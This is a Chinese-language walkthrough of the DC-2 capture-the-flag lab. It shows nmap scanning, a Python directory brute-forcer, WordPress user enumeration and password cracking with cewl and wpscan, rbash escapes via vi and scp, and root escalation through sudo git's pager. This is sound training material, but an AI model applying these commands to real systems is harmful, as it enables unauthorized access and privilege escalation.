DC:2 靶场渗透记录
靶场源地址
靶场环境搭建
在源地址处点击箭头所指连接下载
下载文件之后,检查下文MD5值,检查下载文件是否被篡改.
# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath
解压下载zip文件,使用vmware打开靶场的ova文件.。
ova
文件是虚拟机的标准打包格式,方便在不同虚拟化平台之间传输和部署。它可以轻松导入到流行的虚拟机管理工具中,如 VMware 和 VirtualBox。可以简单理解为一个跨平台虚拟机镜像文件。
信息收集
靶机环境搭建完成之后,接下来我们需要进行靶机的ip、端口、服务信息收集。
确定靶机ip
- 查看虚拟机网络适配器设置,确定靶机所在的ip网段。发现为
桥接模式
.由此可以确定虚拟机的网段虚拟机的 IP 地址分配与宿主机所在的网络环境直接相关,虚拟机会像一个独立的物理机器一样连接到同一个网络
。
- 我的主机的ip是
192.168.6.102
,接下使用nmap 扫描目的网段的存活主机
。
namp -sn 本机ip/24
- 知道目标网段存活主机,通过
排除法
确定靶机ip。- 192.168.6.1: 网关ip
- 192.168.6.104: windows宿主机ip
- 192.168.6.109: kali攻击机ip
确定靶机ip为
192.168.6.108
开发端口、端口对应服务信息搜集
使用nmap对靶机进行端口和服务探测.
nmap -A -p 1-65535 192.168.6.108
- 80端口: http服务
- 7744端口: 远程ssh服务
渗透过程
web端
打开网址http://靶机ip
, 访问之后,返回码为301,自动重定向到http://dc-2
。推测网站只接收url的域名为dc-2
的请求
修改/etc/hosts文件,将靶机ip和dc-2
域名绑定。"192.168.6.108 dc-2"
添加到/etc/hosts
末尾。重新访问,成功打开,发现flag1.
Flag 1:
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
More passwords is always better, but sometimes you just can’t win them all.
Log in as one to see the next flag.
If you can’t find it, log in as another.
提示大意:
你通常的字典可能不起作用,相反,你可能只需要使用cewl
密码越多越好,但有时你就是无法赢得所有的密码。
以一个人的身份登录以查看下一个标志。
如果找不到,请以另一个用户登录。
可以收集到的信息:
- 网站使用是开源框架
wordpress
- 以及
cewl
工具
目录扫描
- 使用python代码 + 字典对目标网址进行目标爆破扫描
import queue
import requests
import threading
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0)Gecko/20100101 Firefox/19.0"
# EXTENSIONS = ['.php', '.bak', '.orig', '.inc']
TARGET = "http://dc-2"
THREADS = 8
WORDLIST = "./all.txt"
words = queue.Queue
"""
读取字典文件,生成扫描内容
"""
def get_words(resume=None):
words = queue.Queue()
def extend_words(word):
if "." in word:
words.put(f"/{word}")
else:
words.put(f"/{word}/")
# for extension in EXTENSIONS:
# words.put(f"/{word}{extension}")
with open(WORDLIST) as f:
raw_words = f.read()
found_resume = False
for word in raw_words.split():
if resume is not None:
if found_resume:
extend_words(word)
elif word == resume:
found_resume = True
else:
extend_words(word)
return words
"""
暴力扫描
"""
def dir_bruter(words):
headers = {"User-Agent":AGENT}
session = requests.Session()
session.verify = False
session.get(TARGET, headers = headers)
while not words.empty():
url = f"{TARGET}{words.get()}"
try:
r = session.get(url)
except requests.exceptions.ConnectionError as e:
# print(e)
continue
if r.status_code != 404:
print(url)
if __name__ == "__main__":
words = get_words()
for _ in range(THREADS):
t = threading.Thread(target=dir_bruter, args=(words,))
t.start()
- 使用kali工具
dirsearch
进行目标扫描.
dirsearch -u http://dc-2/ -x 403 404
-u :目标网址
-x :过滤状态码
可以获取目标网站的登录地址http://dc-2/wp-login.php
web用户名和密码获取
通过上面flag1的提示和网站所使用模板框架,谷歌搜索相关知识,发现可以使用cewl
和wpscan
进行用户和密码获取。
cewl介绍:是一个用于生成自定义单词列表的命令行工具,常用于密码字典生成和渗透测试。它通过抓取网站内容并提取出单词,来创建一个基于目标网站的定制化字典。这在针对目标进行字典攻击时尤其有用,因为可以生成与目标相关的单词列表。
# 基本使用方式
cewl http://example.com
#常用参数解析
-d: 设置抓取的深度
-w: 将生成的单词存入到文件
-m: 设置单词的最小长度
-u: 提供登录凭证(用户名、密码),抓取认证的网站
# 抓取靶机内容,获取密码字典
cewl http://dc-2 -w 123.txt
WPScan 是一个专门用于扫描和检测 WordPress 网站漏洞的安全工具。WPScan 能够枚举出 WordPress 站点中的用户名,从而帮助识别潜在的暴力破解攻击目标。
# 基本使用方法
wpscan --url http://example.com
# 常用参数解析
--enumerate p: 枚举插件
--enumerate u: 枚举用户名
--passwords: 指定用于暴力破解的密码字典
# 使用wpscan枚举用户名,并利用cewl生成的密码字典
wpscan --url http://dc-2 --enumerate u --passwords 123.txt
成功获取目标系统存在的用户和密码,进行登录。
登录jerry后发现flag2
Flag 2:
If you can't exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.
大意:
如果你不能利用WordPress并走捷径,还有另一种方法。
希望你找到了另一个入口。
提示我们使用另一个入口进行渗透,这是我们可以想到使用7744的ssh端口路径。
ssh
使用之前获取到的tom、jerry密码进行ssh登录。发现tom可以成功登录,jerry用户权限不够,不可以进行ssh登录.tom登录成功后在家目录下发现,flag3,使用vi查看flag3的内容。
flag3
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
在进一步,在tom的shell中执行命令发现收到rbash的限制的命令使用,首先需要解决这个限制。
rbash绕过
查看用户可以使用的命令
ls usr/bin
发现可以使用的命令有:
- less
- ls
- scp
- vi
rbash借助vi进行绕过
vi
# 在vi中执行
:shell = /usr/bash
:shell
# 切换完成之后还要添加环境变量。给$PATH变量增加两个路径,用来查找命令 export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
rbash借助scp绕过:
直接执行/bin/bash就可以绕过rbash限制,目前被禁止了。~/usr/bin是rbash中用户被允许执行的命令。直接scp将靶机中/bin/bash 复制到
~/usr/bin
就可以绕过了
# 复制
scp -P 7744 tom@192.168.6.108:/bin/bash ./usr/bin/
# 执行bash,绕过rbash限制
bash
# 切换完成之后还要添加环境变量。给$PATH变量增加两个路径,用来查找命令
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
新开启的终端不受rbash限制,切换到jerry用户(之前远程连接,已经确认密码就是web登录的密码),成功登录并且获取到flag4
flag4
ood to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!
权限提升
从flag4中得到提示获取最终flag和git相关
# 查看当前用户可以使用sudo执行的命令,发现git命令就是
sudo -l
解释:sudo -l
命令用于显示当前用户在系统上有哪些基于 sudo
的权限,也就是用户可以在使用 sudo
时运行哪些命令。它可以帮助用户了解自己是否具备执行某些需要提升权限的操作的权限,而无需直接尝试使用 sudo
执行命令。
git具备sudo的权限,尝试使用git进行提权。
sudo git help config
!/bin/bash
git help config,会打开一个分词器(less)。分页器提供的功能,允许你暂时中断查看文档,执行外部命令,然后返回分页器。所以可以在其中执行
!/bin/bash
打开一个新的终端,进行权限提升。
成功提权,获取到最终flag